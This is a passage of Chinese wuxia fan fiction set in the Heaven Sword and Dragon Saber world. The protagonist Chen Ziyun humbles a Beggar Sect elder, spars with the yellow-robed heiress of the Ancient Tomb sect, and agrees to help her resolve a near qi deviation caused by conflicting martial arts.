陈子云告别了赵钱,也停下了他们这趟有些疯狂的潇洒之旅,一个人漫无目的的在中原的北方大地闲逛。 这次是真正的信马由缰,陈子云就半躺在了自己这匹赵钱用黄金给他买来的宝马上,任凭它把他带到任何地方。 当然,这马的样子估计是西方进口过来的,自然也不会有什么老马识途的说法。 有时候陈子云从半梦半醒中发现,自己被这马带到了深山老林里,要不是野外生存技能还不错,险些就出不来了。 还有这马自己也会突然的狂奔起来,不知道是被什么蛇虫鼠蚁咬了,还是自己发疯,等陈子云发现的时候,人已经到了一个马市。 而自己这匹马,正打算不顾马市老板的阻拦,正竭力的想扑倒一匹母马的屁股上。 这就让陈子云气的狠狠的拍了一掌这家伙的屁股,让它上头的欲念直接冷却了下来。 可上面这些陈子云还能理解,毕竟是畜生嘛,想着回归山林,想着交配也是它的本性。 可有一次竟然带着陈子云到了一个酒肆里,打着响鼻朝着酒缸咧嘴,就让陈子云困惑了。 他试探性的给这匹有些奇异的马打了些酒,结果这家伙对着就瓢子就咕噜噜的猛喝,就跟喝水一个样。 一开始陈子云害怕直接把这匹价值不菲的宝马给醉死,没想到这家伙的酒量好的很,喝了不下三斤酒,屁事没有。 反而撒欢似的跑起来,还比平时更卖力了。 从此之后,陈子云的水袋旁边就多了一个更大的用来装酒的皮袋子。一旦这马把他的马嘴伸过来,就是来讨酒喝了。 “嘿,这倒是稀奇了,你想来应该是第一匹将来被醉死的马了。” “唏律律......” 陈子云拍了拍马屁股,示意这醉马自己走,他则是伏在对方宽阔的马背上眯着眼养神。 不知这般行了过久,陈子云迷迷糊糊间好像听到耳边传来轻轻数响琴箫和鸣之声,似是有数具瑶琴、数枝洞箫同时奏鸣。 陈子云耸了耸耳朵,追着这难得听到的美妙之声而去。 等他循着这鸣凑来到一个财主巨宅之前,里面似乎有些打斗之声传来。陈子云本来没心思管这些江湖上的打打杀杀,可突然听到有个好听的声音在说话,不由得就停下了回转的脚步。 “张教主,我求你一件事。请你将这姓陈的家伙撵了开去,将那冒充史帮主的大骗子揪将出来。” 张教主,难道是张无忌那小子在这里。 陈子云心里来了几分兴趣,在这倚天世界里,但凡有张无忌在地方,终究不会是太无聊的。 可后面的一句话却让他有些不喜。 “降龙十八掌神功,是如此脓包吗?” “好个张小子,什么时候你也如此狂妄了。” 陈子云带着些酒意,右手随意的一掌就拍碎了挡在身前的木质大门。 门里的人传来惊呼之声,还有喝问。 “是谁,竟然敢强闯我丐帮。” “丐帮,你们倒是好意思的。堂堂昔日的天下第一大帮如今被人欺负到这个份上了,竟然还要靠着外人出头,真当是窝囊至极。” 陈子云跨过门槛往里面扫视了一圈。 除了抓着一个丑陋乞丐的张无忌,让陈子云多看一眼但就是那站在四黑四白八位少女中间的黄杉丽人。 那女子约摸二十七八岁年纪,风姿绰约,容貌极美,只是脸色太过苍白,看来古墓确实不适合人长久居住啊。 “原来是借刀盟的白盟主,晚辈钟南山下古墓传人见过白前辈。” 黄杉女子行了一个晚辈礼。 “哦,你认识我?” 陈子云虽然知道这位就是杨过的后人,可也好奇,向来不问世事的古墓派怎么能知道自己的。 “前辈所作所为乃是千古未有之事,晚辈虽然身居古墓,但也是钦佩至极。” 黄杉女子道,冰冷的脸上竟然出现了丝丝笑意。 “慢来慢来,我做那些事可不是为了让人谢的。” “张小子,是你刚才在这里大言不惭说降龙十八掌不过如此的?” 陈子云看向张无忌道。 “白叔叔,无忌斗胆,并不是针对降龙十八掌,只是说这人窝囊。” 张无忌在见到陈子云的时候,即是开心,又是忐忑。 “你呀你呀,学了几门神功绝技,却是门门都不比降龙十八掌差。可也正是因为如此,你身上所有的功夫都只是囫囵吞枣没有得其神髓。 要是换一个人,随便能得一门,苦修之下也不会弱于你现在的战力。也罢既然再次碰到了,我就用降龙十八掌中的三掌与你过过招,让你也见识一下真正的降龙是什么意思。” 陈子云右手后撤,左手微曲,蓄力已发。 “白叔叔,无忌怎么敢跟您动手。” 张无忌连连摆手。 “直娘贼,你又是谁,我丐帮今天怎么什么人都能随意来去了。” 一个老乞丐指着陈子云唾沫纷飞。 陈子云本来指向张无忌的一招,直接一转,朝着那个口下武德的老乞丐就是一掌。 众人只听得一声龙吟响彻云霄,一道无可匹敌的掌风似乎如同将整个苍穹都压了下来,直接砸在这方寸之间。 “呀。” 那老乞丐只来得及一声惨叫,浑身的衣物就被汹涌的掌劲给炸开了。 这正是陈子云在指点众弟子练习降龙十八掌时领会到的一招“震惊百里”,这一掌算是那残存下来的降龙掌里威力最大的一式了。 第一百一十章 古墓传人 “降龙十八掌,这才是真正的降龙十八掌。没想到白前辈竟然也会这丐帮的传承。” 黄衫女饶有意思的打量着陈子云。 “你别多想,我就是偶然间得到了几掌残招,并没有完整的降龙十八掌传承。” 陈子云解释了一句,对于这位倚天世界里最神秘的黄衫女,他给与了足够的尊重。 “这就是降龙十八掌吗?可如果丐帮又这样的武功,怎么会?” 张无忌在那边嘀咕着。 “你啊,张小子,你也是学了张老道的太极拳了,难道你以为现在的你就能跟张老道比肩了?” 陈子云嗤笑了一声。 “白叔叔,无忌如何敢......” 张无忌慌忙的解释道。 “不是问你敢不敢的事情,是要告诉你,武功固然有高低,可终究还是要看练这武功的人。 就丐帮如今的这些废柴,就是有了降龙十八掌完整的传承,难道他们还能再出个郭靖郭大侠那般的人物?” 陈子云满是压力的目光扫视了丐帮老小一圈,无一人敢直视。 “还有啊,杨姑娘,我劝你,如果真的还悼念与丐帮的渊源呢,还是吧这丑丫头带回你的古墓派吧。 现在这个丐帮乌漆嘛黑的,也不适合一个女孩子待。而且丐帮向来都没有父死子替的传统,让她这么一个前任帮主的遗孤留在丐帮,对将来的继任帮主也是个尴尬。” “你这个坏人,丐帮是我爹爹的,你们谁都不能抢。” 那丑女童突然癫狂的乱叫着。 “嘿,看来这丐帮连底子里都开始烂了,怎这乞丐窝也要搞个传位继承大典不成?” 陈子云毫不掩饰脸上的厌恶。 黄杉女子皱皱眉,但还是拦住了丑女童。 “杨姐姐,你帮帮我,帮我拿回丐帮,好不好?” 那女童抓着黄杉女子的衣角,就像是捉到了救命稻草。 陈子云摇摇头道:“嘿,丐帮丐帮,乞丐头子抢着当;江湖江湖,争强斗胜名利场。杨小姐啊,还是回古墓里去吧,这江湖待久了,可不利修行。” 陈子云说完朝着张无忌勾了勾手指。 “小子,你又为什么在这里?” “白叔叔,我怀疑是丐帮抓了我义父,金毛狮王谢逊,所以追查至此。” 张无忌道。 “谢逊?” 陈子云眯着眼睛思索了片刻,按原剧发展,谢逊应该是被成昆给弄到少林去了吧。不过他也没心思管这些屁事,谢逊这人早就该死了,就算是因为自己改了剧情,让他惨死在成昆手里也是活该。 “那你自己查着吧,不过给你个忠告,年轻人有时间就把自己的功夫精炼精炼,别一天天的想着儿女情长那点事。” 陈子云一派长辈的口吻教训着。 “白叔叔......无忌受教了。” 张无忌红着脸有些幽怨的答道。 陈子云看着毕恭毕敬的张无忌,不由得摇头,这家伙看来还是在冰火岛上被自己老子教太多的礼仪道德,他妈的那几分机灵却是半点没学到。 “无忌啊,你好歹也是明教教主了,别总想着用自己的个人勇武去解决所有事情。明教弟子无数,要找你义父不过是一句话的事情,你与其在这里跟这帮叫花子折腾,还不如把附近的教众调集起来帮忙。 哎,算了,这些事情你自己看着办吧。” 陈子云说完就转身离开了,围着他的丐帮众人连忙让开一条道来。 陈子云在门口找到了自己的那匹醉马,又喂了它两口酒,就要牵着它往外走。 “白前辈,还请留步。” 黄杉女却带着她那几个黑白侍女追了上来。 陈子云疑惑的看向她。 “此间事了,晚辈也正准备回钟南山,不知道前辈方不方便同行?” 黄衫女道。 “没什么方不方便的,你还是打算将那丑姑娘留在丐帮?” 陈子云问道。 “祖上虽然与丐帮有些渊源,但是并没有到照顾家小的份上。这次史火龙让人来我古墓求援,也算是将这份百年前的情意消耗尽了。” 黄衫女神色清冷,说着些让道德君子反感的话像是喝白水一般的寡淡。 “这么说来倒也不错,这倒也是古墓传人应该有的态度。” 陈子云道。 “白前辈似乎对我古墓派很是了解?” 黄衫女问道。 “算不上了解,只是听说过一些,尤其是神雕侠的传闻。” 陈子云睁着眼睛说瞎话。 “白前辈是不是得到了郭大侠与黄帮主的遗物?” 黄衫女这话突然从她那张樱桃小嘴里平平无奇的蹦出来,倒是让陈子云一愣。 可随即想到以杨过与郭靖夫妇的关系,肯定是知道这屠龙刀倚天剑的秘密的,不是说连这刀剑的材料都是用杨过的那把玄铁重剑的吗。 而周芷若以及借刀盟其他弟子在江湖上显露出来的武功,别人也许看不出来,但黄衫女肯定是看得出来的。 估计黄衫女之所以认得他,也是因为发现江湖中突然出现了这些身怀《九阴真经》与《降龙十八掌》的人,最后才查到他头上的。 “不错,我用暴力将倚天剑给砸断了。” 陈子云也没有隐瞒的意思,直接承认了。 “多谢白前辈坦然相告。” 黄衫女道,似乎并没有什么意外。 “怎么,不想追回这两门功夫?” 陈子云笑问道。 “白前辈取笑了,虽然先祖确实都学过这两门功夫,可不论是《九阴真经》还是《降龙十八掌》都不是我古墓派传承的功夫。 小女子又有什么资格来说收回这两门功夫呢。” 黄衫女道。 杨过学过降龙十八掌,陈子云心里暗自纳闷。不过随即一想也是,郭靖跟杨过的功夫都是阳刚至极的,要说天下掌法,也就《降龙十八掌》跟《黯然销魂掌》冠绝当时了。 就算是平时切磋的时候郭靖偶尔露出的几句,也足够让向来聪明的杨过领会几分了。 虽然按照郭靖的性子,在没有得到丐帮的允许下,是绝对不会把全部的降龙掌传授出去。可其中的运力技巧跟武学道理,怕早就是被杨过学的七七八八了。 “要说这天下掌法降龙掌固然首屈一指,可我却是对杨大侠的黯然掌更感兴趣,不知姑娘能否赐教?” 陈子云道。 第一百一十一章 惊梦 与陈子云并肩走这的黄衫女顿了顿,随即微微笑道:“多谢白前辈对先祖的夸赞。可惜这这黯然销魂掌除了先祖之外,后辈中人再也无人能习得,所以怕要是让前辈失望了。” “怎么会?” 陈子云皱眉思索。 “祖上曾说,这黯然掌乃是先祖吃尽相思愁苦之后才有所感而创,掌法要义不在招而在意,意不能达,学了招法也无什么威力可言。 先祖那是至情至性之人,可我等后辈皆长在古墓得先人庇护,并未有真能体会如此深情之时,自然也只好将这旷世掌法束之高阁。 实在是我等后辈不孝。” 陈子云听黄衫女如此说,也是明了。 “原来如此,不过这到也不是坏事。想必杨大侠也不会希望你们这些后人与他一般,与挚爱之人分别一十六年,才领悟到这让自己先肝肠寸断的掌法。” “前辈此言正是,家中的长辈也是如此告诫的。” 黄衫女道。 “可惜可惜了,真想与你家先祖见上一面,见见这位至情至性,自创绝学的奇男子。” 陈子云想起杨过的种种也不由得喟然一叹,想来连张三丰都也活不了几年了,这些当时独领风骚的绝世人物都被时间长河埋葬,让他如何不悲从中来。 “白前辈不必如此,要是前辈想见识我古墓派的武学,晚辈倒是还有些能拿得出手的功夫。” 黄杉女道,眼里难得有了几分争胜的心思。 也是,黄衫女作为古墓传人,手上的功夫不但有百年前天下第一大派全真教的道家武学,还有那位与天下第一王重阳并列的女祖师林朝英所创武学。 还有杨过从当时天下四绝里学来的武功,可以说当时江湖上所有最顶级的武学都能在古墓中找到。 就算不是完整的传承,也足够所有后辈弟子们,站在巨人的肩膀上高屋建瓴。 而黄黄衫女更是古墓百年来,堪称资质不输当年杨过的天才。以她这般的年纪却连少林寺的那三个躲起来参枯禅的老不死的都不一定是她的对手,如何能不傲视群雄。 也正是因为如此,在发现陈子云这位武功高绝的前辈高人时,黄衫女许久不曾有过的争胜之心也重新被唤起了。 “哦?” 陈子云转头饶有兴趣的看向这个冷淡示人的黄衫女。 “好。” 陈子云随即上马,轻轻拍了两下马屁股。这醉马就彷佛知道主人心意一般,朝着城外的一出偏僻之地奔去。 陈子云有一种预感,与这位黄衫女的一战,可能会是他许久以来都不曾有过的最酣畅一战。 黄衫女带着她的八位侍女同时脚下生风,古墓派的武功本来就注重身法,由她们几位出类拔萃的美丽女子使出来,更是飘逸出尘宛如谪仙。 陈子云骑着马狂奔了半刻钟,将身上的酒意给解的差不多了才停下。 此时往前一看却是已经到了一条大河的岸边,落日夕阳,余晖照耀在随风摇曳的芦苇荡里。弯弯曲曲的河流就像是闪着金光的巨龙,横卧在北方大地的原野之上。 “倒是个打架的好地方。” 陈子云随手把跑的酒汗淋漓的醉马赶到了一边,朝着身后的方向望去,几个细小的身影没一会儿就变的偌大。 “好轻功,好功力。” 陈子云笑着夸了一句。 “你这人还是前辈呢,怎么能这样。” 倒是一个穿着白衣却已经香汗淋漓的小姑娘嘟着嘴赌气的道。 “哈哈哈,无妨无妨,天上冷,仙子的日子不好过。你们这般的年纪,自然要多跑跑,多出汗才好。” 陈子云有些像个坏大叔一般的挑逗着。没有什么真的坏心思,这些小姑娘估计还没周芷若大,在她眼里就跟自己女儿差不多。 黄衫女没有说话,只是竭力缓和着自己体内急躁的气息。不过在自己的侍女出声责问陈子云,而没有阻止的时候,其实也表明了她的态度。 仙女也是有火气的呀。 “是是是,是在下玩笑过头了,还望几位看在我是个喝酒了的大叔的份上,勿见怪才是。” “哼,明明看着跟我们也大不了多少,怎么就是前辈大叔呢。” 还是那个嘟着嘴的小姑娘,轻声的抱怨着。 “白前辈,请!” 黄沙女此时已经调理好了自己的气息,对着陈子云抬手一礼。 这小丫头怕是心中也有气呢,也好,那就让她用出全力吧,正好也见识一番此世界最绝顶的武学。 陈子云左手小指轻轻一弹,一指“春分”在润物细无声之间攻向黄衫女的腰间。 只见那黄杉女双手成爪,在腰间一撮,竟然将这道无形的指力给轻易的化解了。 “好。” 陈子云一声赞喝道。 在此世界以来,还没有谁这般轻易的就化解过他的指力,就算是二十四节气指里最没有杀伤力的一招,可也绝不是一般的庸手能挫其锋锐的。 “还是请白前辈再认真些吧。” 黄衫女双爪前驱,朝着陈子云近身而来,挪步之间态拟神仙。这九阴神爪究竟是道家功夫,只要走正路,正当是这般的姿态。 陈子云连退两步,这也算是让了三招了,当即不在留手,右手食指与左右中指齐齐弹出。 一指惊蛰,一指冬至。 黄衫女见陈子云手指锋芒毕露,也不敢托大,指爪之间画出道道锋锐之气,与陈子云的指劲相交,竟然发出金铁相撞之音。 “好个九阴神爪,再接我几指试试。” 陈子云也是见猎心喜,挡下手中弹指不决,二十四节气惊神指纷纷而出。 黄衫女自然也不敢小觑,双手舞的密不透风,道道爪风像是要把这天地都撕成碎布。 指劲与爪劲交锋,把这夕阳下的大河之畔搅动纷乱,陈子云的那匹醉马早就见机不对远远的躲开了。 就连那黑白衣着的八个少女也只是远远的看着,不敢靠近,免得被这两个打的有些上头的两人误伤。 “好爪法,杨姑娘,小心我这一指“惊梦”。 陈子云开口提醒了一句,同时左右双手交叉,左手拇指与与右手中指相连,如一声琴弦裂帛之声,一道宛如实质的指劲在夕阳的照射下犹如一道划过天空的火红流星。 第一百一十二章 双剑合璧 二十四节气惊神指中“三指弹天”,其中最为诡异的就是这一指“惊梦”,这指法好像就是梦中相见,让中这一指的人完全不知自己是如何中的。 黄衫女也没有退缩,只见她指抓只见突然发出一声犹如鹤唳般的鸣叫,她那几根纤细洁白的手指突兀的合在一起,与陈子云那一指“惊梦”正面相撞。 “轰......” 明明只是指风与爪劲的相撞,众人却感觉连大地都在震颤,一些地上的浮土更是直接被震的高高扬起。 陈子云已然收手,而被灰尘环绕的黄衫女却一时不知道状况如何。 “把剑给我。” 灰尘中突然传来一声冷艳的呼喝。 那八个黑白少女直接扔出了一把宝剑。 “再给我一把。” 声音似乎变的正常了些,但还是冰冷似铁。 又是一把宝剑被扔进了灰尘中。 “杨姑娘,我们只是讨教武学,要不今天先这样吧。” 陈子云哪里不知道对方明显是动了真火,赶紧劝解道。 “白前辈放心,接下来才是古墓派真正的绝学,前辈不是想见识一番古墓派的传承了,想必应该也是知道这双剑合璧的吧。” 黄衫女的话顿时勾起了陈子云的兴趣,对于这套由王重阳和林朝英共创的功夫,实在是心痒难耐。 “如此,那我也要出刀了,还请姑娘手下留情。” 陈子云右手一抖,相思小刀出现在他的手上。 左手轻轻的抚摸着,手指轻轻的在刀身上跳动,感受这刀上也传来的丝丝兴奋之意,像是在回应,在期待。 陈子云之所以许久不用它,不是嫌弃它不够锋利,而是这天下已经没有什么人值得他动刀了。 “好漂亮的小刀。” 黄衫女此时也已经从灰尘中走了出来,双手各执一剑。落日与晚风,配合着身后的的风尘,脸上的四分英气让她像是一位刚从战场上下来的女战神。 “还请前辈指教,古墓派双剑合璧。” 黄衫女已经摆出了双手齐出的起手式。 陈子云自然也不会在这个时候还退缩,那不是谦虚,而是对一个同等级高手的不尊重。 “小刀相思,黄昏细雨......红袖刀。” 随着最后一个刀字突出,一抹嫣红,相思小刀带着夕阳最后的光辉在空中划过一批赤练指向黄衫女。 围观的八名少女已经分不清那纠缠在去的两道影子中谁是谁了,黄杉跟陈子云的蓝衣书生装在忽闪忽现间相撞。 叮叮咚咚,犹如山间的清泉流响。 杂草与树枝的残影纷飞,是被黄衫女与陈子云的刀剑之气余波搅断的残留。 这样的场景就是出身于神秘的古墓派的八人也大为惊诧。 “小姐竟然全力以赴了,天啊,多久没见过小姐如此认真了。” “大概是老爷还在的时候吧,不过老爷跟小姐切磋终究也是留手的,不像现在。” “这么说,小姐会不会有危险呢?” “不会的,你什么时候见小姐输过?” “可是.....” “别可是了,赶紧看好,这样的比试错过可就不知道什么时候才能见了。” 八个少女叽叽喳喳的讨论着。 陈子云此时的感觉就像是有数个用剑的绝世高手在围攻自己,没错,黄衫女此时的双剑合璧已经不单单是两个人的剑阵了。 而是在她高深内力与奇诡身法的加持下,似乎变成了四个人,六个人。明明见她左手出了一招,右手出了另一招,可转瞬之间,似乎左手的那一招已经变了,跟着右手的一招也同时一变。 而这变化,左右相互交叉变化,又是生出许多衍生的变化来。 这哪里是什么双剑合璧,这已经是独孤九剑和九阴真经都柔和在一起了吧。 要不是陈子云见识过风清扬的独孤九剑,对易经八卦的变换有些了解,面对这奇诡无比的剑招,说不定就真的拜倒在黄衫女剑下了。 要是论起陈子云见过的剑招的复杂程度,天下剑法无人能出其右。 就算是张老道的太极剑也没有这样的复杂,这样的变化。 黄昏细雨红袖刀的刀招已经用尽,但是陈子云明没有沮丧,脸上反而是难得的兴奋与战意。 多久没这么酣畅淋漓的打上一场了,陈子云也不再局限于什么招法,右手一送,相思小刀脱手而出。 不是小李飞刀,小李飞刀从来都不合适用来切磋,那是一出手就要人性命的传奇。 陈子云只是福至心灵,相思小刀出手,可后面的金属丝却在他的手里活了,从一柄小的不能再小的刀,相思似乎成了一把随着陈子云手指舞动的绯红色蝴蝶。 在刀光与剑光之中翩然起舞,映衬着晚霞,是多么的神奇与绚丽。 如果说被黄衫女或者说古墓派改良之后的双剑合璧是剑法复杂的极限,那么此时没有了刀手限制的相思小刀,就是这世界上最不可捉摸的刀法。 因为这世间但凡是刀法,必定是由人手挥舞出来的,那么他必然存在着一定的限制。 一般的刀法绝对做不到像现在的相思小刀一样,没有任何束缚,甚至没有任何窠臼,就是突如其来的一刀。 无法琢磨它来时的方向,不能判断它发出的力道,也不了解刀剑相撞之后它是否会不讲道理的回旋。 黄衫女简直被这不讲规矩的小刀给折磨疯了。 “哈......” 黄衫女突然不管不顾的双剑同时下劈,直接罩着陈子云的脑袋而来,不理会那把已经到了她腋下的小刀。 “你干什......” 陈子云有些惊骇,不明白对方为什么突然间就要拼命了。 可当他看到黄衫女那床已经泛着红光的眼睛时,暗叹一声糟糕,这小姑娘争胜之心过重,竟然走火了。 陈子云此时也不及多想,连忙收回相思,随即运气全身,双手剑指,大喝一声。 “吒。” 剑气、刀芒、剑指、声震。 众人似乎见到了无尽的锋芒在此刻相交,连那大河中的水流也被不知怎么泄露出去的几道剑气给炸起了波浪。 等烟尘散去,八位少女见自己的小姐,正躺在陈子云的怀里,不由得都的奔向前去。 第一百一十三章 走火入魔 “把小姐还给我们,你这个坏大叔。” 那个嘟着嘴的姑娘直接将黄衫女从陈子云的手给夺了过去。 陈子云有些尴尬的摸摸自己的鼻子,虽然他知道黄衫女只是被两人强大的内力冲撞给震晕了而已,并没有受伤。 但是目前的场景,不管自己怎么解释也是逃不掉以大欺小的罪名的。 那几个侍女把脉的把脉,灌药的灌药,一阵忙活之后,黄衫女终于也是醒过来了。 “这是?” 黄衫女迷迷糊糊的问道。 “小姐,你被这个坏大叔欺负了。” 小侍女这不着边际的一句,让黄衫女也是一愣,随即看了一眼尴尬的站在不远处的陈子云,总算是明白了自己这个小侍女说的那个欺负是什么意思。 “别乱说话。 黄衫女没好气的拍了一下侍女的头。 “扶我起来。” 黄衫女因为再与陈子云对拼的时候,用力过猛,现在手脚都有些酸痛。 “杨姑娘,你还是先歇着吧。你现在身体倒是没什么问题,就是......” 陈子云一时不知道该怎么措辞。 “白前辈是说我刚才差点走火入魔的事情吧。” 黄衫女这话让旁边的几个侍女纷纷惊叫。 “小姐,你怎么会?” “是啊,小姐,我们古墓派的功夫不是最清醒寡欲的吗,还有寒玉床辅助,怎么会走火入魔呢?” “小姐......” 八个侍女像是叫门的喜鹊一般,声音虽然各个好听,可这一混在一起,就嘈杂的让人头疼了。 “好了,你们别多想,我没事的。” 黄衫女挥手制止了侍女们的叽叽喳喳。 “怎么会没事呢!” “哎,这也就是我不肯让你们所学武功太杂的原因了。要是你们能听话,好好修习《玉女心经》,不要贪图其他的功夫,你们就不会像我这般了。” 黄衫女语气中也有几分悔意。 “没想到,却是你的聪明才智害了你。” 陈子云此时也明白了黄衫女身上的隐患。 无他,就是太聪明,又太好学。就像是书读的太多的人,又没有形成自己的核心思想,导致被各家矛盾的言论,左右自己的心智,即使不发疯也被这一脑袋各异的观点给涨的头疼。 而武学也是如此,各家武学本来就是天差地别。以与黄衫女刚才的交手来看,她从小应该是以古墓派最深邃的《玉女心经》为主的,以左右互博御使双剑合璧,威力惊人。 可惜因为黄衫女的才情,让她自负,要把双剑合璧的绝学再提升一层。这就让她自然就打起了古墓中其他各种武学的主意。 而这个时候恐怕她的长辈们都应该已经不在了,或者说是即使在,也没有能力再指点她无功了。 所以在黄衫女的高超超才情之下,她不仅学会了九阴真经上的武学,就连杨过从别的四绝那边学来的武功都有所涉猎。 她也成功的通过借鉴这些都算得上盖世绝学的武功,成功将自己双剑合璧的功夫提升了一个层次。 可问题也随之而来了,当黄衫女每次想运用这种奇诡的功夫时,她脑海里就像是有好几个小人在打架。 那是不同的武学理念之间的冲突,九阴博,降龙专,而当她把这两种理念混合,在她出剑的时候,就会犹豫不定,到底是孤注一掷以力压人,还是巧取变化,以技取胜。 好在平时的动手也不需要她把双剑合璧施展到如此的程度,所以即使她知道自己出了问题,也并没有太在意。 可由于刚才跟陈子云的那一场激战。 不仅激起了好胜心,连平时黄衫女自己十分控制的双剑变换之道也彻底放开了。 打倒是打的舒畅了,可这激发出来的后遗症也可谓不小。 “是晚辈自作自受。” 黄衫女此时也恢复了淡淡的表情。 “别急,以我看,你这也不全然是坏事。要是能有机会打通了这知见障,将你这一身驳杂的功夫融汇于一炉,说不定你也可以想你先祖杨大侠那般,自己创一套神功出来。” 陈子云道。 “白前辈不用安慰我,晚辈自己知道自己的分量,万万不敢跟先祖媲美。” 黄衫女道。 “你一人闭门造车自然不行,如果.......” 陈子云有些迟疑,似乎没有下定决心。 “哎呀,如果什么啊。大叔,如果你有救小姐的办法,就赶紧说啊。否则我就天天喊你坏大叔。” 那个嘟嘴的小侍女跳着脚焦急道。 “不得无礼。” 黄衫女轻喝了一声,不过她的眼睛也是盯着陈子云,显然不想放弃这样的机会。 “得得得,那我们就同行吧。在你们回到古墓之前,合我们二人之力虽然不一定能创出功法来,但怎么说应该也能帮你找出个方向来,走走。” 陈子云终究还是不想这位倚天世界,代表武学天花板的女性高手就此落幕。 “多谢白前辈。” 黄衫女也明白了陈子云的意思,款款的行了一个礼。 “别这般客气了,还是先回城里给你找辆马车吧。后面你要把整个心思都放在自己的武学上,能省一点力气就省一点。 再来,我们也好有个不受打扰的讨论的地方。” 陈子云说完还瞥了一眼那个话多的嘟嘴侍女,这次对方倒是没有跟陈子云犟嘴,看来自己家小姐的身体出问题,让她没了这兴致。 没过多久,先行回城的那个侍女就赶着一辆相当豪华的马车出现了,黄衫女被众人扶上了马车。 黄衫女本来是想请陈子云也一起上去的,可看着那几个侍女防范戒备的目光,陈子云还是识相的选择骑自己的醉马。 陈子云刚骑上马,那还醉醺醺的马头就往自己身上蹭,意思很明显是在讨酒喝。 可此时的陈子云受了这些小侍女的不待见,自然要找个难兄难弟一起分担,所以他一巴掌拍在醉马的大脑袋上。 “一天到晚的喝,喝不死你,赶紧跟上去。” 醉马不甘心的鸣叫了一声,无可奈何的迈开了脚步。 马车在前,除了负责驾马车的,和跟在马车里里照顾黄衫女的那位,其余的六位侍女都护卫在马车的两侧。 第一百一十四章 共思量 此时是黄衫女最需要最需要她们保护的时候,自然各个都是神色谨慎,不再像平时那般玩闹。 陈子云则是缓缓的跟在马车的后面,要帮黄衫女解决她身上的问题,也不是这一时半会儿的事情,他也需要好好的思索准备一番。 要是周芷若或者其他弟子的程度,陈子云随便抛出一些干货就够提点他们了。 可如今的黄衫女已经站在了这个时代武学的最前沿,虽然她的武学境界可能比不上修行百年的张三丰。 可要是说对于天下武学的了解程度,张三丰可能还不如她这个古墓传人,实在是祖辈留下的遗产太过丰厚了。 马队没有行多久,就找了一个可以暂时栖身的地方过夜,陈子云也提出了第一步的计划,那就是把黄衫女所学武功的精要跟陈子云先解释一番。 这要是换个人,可能就直接要被古墓派那几位侍女围杀了。可见识过陈子云本事的几人都知道,他的武学修为以及展露出来的几种绝学,丝毫不比古墓派的传承差。 黄衫女此时也不会怀疑是陈子云在套他们古墓派的绝学,坦然的将自身从小到大依次修炼的武功机要一一想他解释着。 这一说就将近说了半个月,可见黄衫女所学的繁杂深奥。 要不是陈子云的底子够厚,换个人来,可能光理解最少也要几个月的时间,更别说做到心中把这些复杂的武学都做到心中有数。 “你连打狗棒都学了?” “是。” 黄衫女脸红着点头承认,也就是她此时的状态无法维持玉女心经古井无波的心境,要不然就是大方的承认也决计不会这般的羞涩。 不过比起她平时冷冷淡淡的样子,能有几分血色跟羞怯的脸上,终究是更可爱了几分。 “那以你自己的感觉,对你影响最大的是哪一门?换句话说,哪一门武学与你修行的古墓派基础武学的冲突最大?” 黄衫女思索了片刻。 其实这半个月下来,不单单是将自己的武学讲给陈子云,同时也是她自己梳理自身所学的过程。 “是九阴真经。” “嗯。” 陈子云对于黄衫女的答案没有丝毫的意外,这与他的猜测也是相近的。没办法,谁让这部九阴真经实在包揽的太广,而且他又是从道家典籍中参悟出来的。 而古墓派的武学,不管是传自全真教的还是传自林朝英的,都没有逃出道家的窠臼。 而这看似相近相似的武学道理本来应该是相处融洽的,如今看来却是向来讲究清心寡欲却古墓绝学,被九阴真经带来的霸道的负面情绪给冲击了。 九阴真经乃是在黄裳在一心报仇的心态下所创,里面的武学心法自然带着些狠厉。 这样的两种状态下的绝世武功同时存在一个人身上,而黄衫女自身又常年待在古墓之中,对于人世间红尘中的种种情仇不甚了解。 这样的心态练古墓派自己的武功是事半功倍的,可一旦与九阴真经这种带有明显的凶戾之气的武学。 心境难免出现了差错,要是再练下去怕是要神经分裂。 说不定当年王重阳不但自己不练这九阴真经连自己弟子都不让练,很可能就是看到了其中的隐患。 “那你现在有没有办法放弃九阴真经?” 陈子云提出了初步的猜想。 黄衫女摇摇头。 “我不等玉女心经有所成,就开始借鉴九阴,可以说我练的玉女心经并不是存粹的。所以除非我彻底的自废武功,否则我的一招一式之间,就自带着九阴真经的要义。” 陈子云眯着眼,用自己的左手食指缓缓的摩擦着自己的鼻梁,陷入了思索。 “既然舍弃不行,那就只能走融合的道路,不过这种方法......” “前辈无需顾虑,晚辈其实也想到了如此,一旦失败自然是身死道消,可如果晚辈侥幸成功,那就是直追先祖的辉煌。” 黄衫女说道最后,疲惫的眼里竟然泛出了精光。 “倒是有几分男子的豪情。” 陈子云道。 “呵呵,家父只有我一个孩子,所以即把我当女儿,又把我当儿子。” 黄衫女倚在马车窗前的笑容,不由得让陈子云也是一呆。 “你还是多笑笑的好,乘着现在玉女心经的影响对你最小的时候。” 听陈子云如此说,黄衫女本能的想收起笑容,可不知道想到了什么,又有些牵强的故意咧了咧嘴,像是要把刚才断了笑容重新续上。 “好了,好了,也不用勉强。” “我只是太久没这么笑了,我学学就好。” 这话听的真是让人心酸,一个女子,连笑竟然都要重新去学。陈子云不知道现在是不是乘此机会将这可以说是灭绝人性的玉女心经给废了。 “我会的一门指法,一门刀法你也见过了,以你的才学见识,想必也能看个七七八八,我再给你讲解一番关窍,不过你也不用太在意。 这两门武学虽然不俗,但也绝对不会超过九阴真经跟玉女心经,你做个了解就好。” 陈子云接着就把二十四节气惊神指跟黄昏细雨红袖刀的关键解释了一番。 黄衫女认真的听着,到了精妙之处则是连连赞叹。 “我还以为这个坏大叔就是来骗小姐的武功的呢,没想到。” “你啊,总是把人往坏处想,我看这位白前辈还是挺好的人。” “哼,我们这一路出来,见识的人,你说是坏人多还是好人多!” “这......” “是坏人多吧,那我这就叫防人之心不可无,可是小姐教的。” 侍女们借着耳朵听了一些诀窍,竟然还在编排陈子云。她们几人虽然在名义上跟黄衫女士主仆,可实际感情上就是姐妹。 古墓派的武学更是直接对她们开放,只是不是怕她们贪多嚼不烂,黄衫女是不会命令禁止她们学哪门武功的。 所以在她们认为,就算是自己听到了陈子云的武功诀窍,也不是什么大不了的事情。 这就好比真正的富人,是不会吧散碎的银子看的多重要的,哪怕一些穷人可能一辈子也挣不到那些。 第一百一十五章 神思 随后的几天两人把各自的武学要义拆解分化,仔细琢磨,希望能从中找出相容相通的地方,以期将黄衫女身上的各种武学冲突一一化解。 陈子云自身的武功本来就是得天授的,虽然施展起来威力不差,可是对这两门武学的根本理解其实并不深刻。 